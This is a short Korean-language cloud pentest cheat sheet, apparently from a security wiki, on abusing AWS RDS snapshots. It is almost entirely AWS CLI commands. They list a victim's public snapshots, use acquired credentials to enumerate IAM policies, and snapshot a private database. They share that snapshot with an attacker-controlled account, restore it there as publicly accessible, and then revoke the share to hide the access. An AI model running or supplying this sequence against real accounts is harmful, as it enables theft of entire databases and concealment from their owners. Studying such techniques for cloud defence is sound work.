RDS Snapshot
Abuse
# Account ID를 기반으로 퍼블릭 RDS 목록 열거
aws rds describe-db-snapshots --snapshot-type public --include-public --region <region> | grep <AccountID>
aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region <region> | grep <AccountID>
# 공격자 계정으로 스냅샷 복사
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:<victim_account_id>:snapshot:pentest-snap --db-instance-class db.t3.medium --publicly-accessible --region ap-northeast-2# 획득한 크리덴셜을 이용하여 관리형 정책 확인
aws iam list-attached-user-policies --user-name '<user-id>' --query "AttachedPolicies[*].PolicyName" --output table
# 인라인 정책 확인
aws iam list-user-policies --user-name '<user-id>'
aws iam get-user-policy --user-name '<user-id>' --policy-name '<policy-name>'
# Private RDS의 스냅샷 생성
aws rds create-db-snapshot --db-instance-identifier '<db-name>' --db-snapshot-identifier '<snap-id>' --region 'ap-northeast-2'
# 공격자 계정이 RDS 스냅샷에 접근할 수 있도록 권한 부여
aws rds modify-db-snapshot-attribute --db-snapshot-identifier '<snap-id>' --attribute-name restore --values-to-add '<account-id>' --region 'ap-northeast-2'
# 공격자 계정으로 스냅샷 복사
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:'<victim_account_id>':snapshot:'<snap-id>' --db-instance-class db.t3.medium --publicly-accessible --region 'ap-northeast-2'
# 스냅샷을 다시 프라이빗으로 변경
aws rds modify-db-snapshot-attribute --db-snapshot-identifier '<snap-id>' --attribute-name restore --values-to-remove '<account-id>' --region 'ap-northeast-2'
Last updated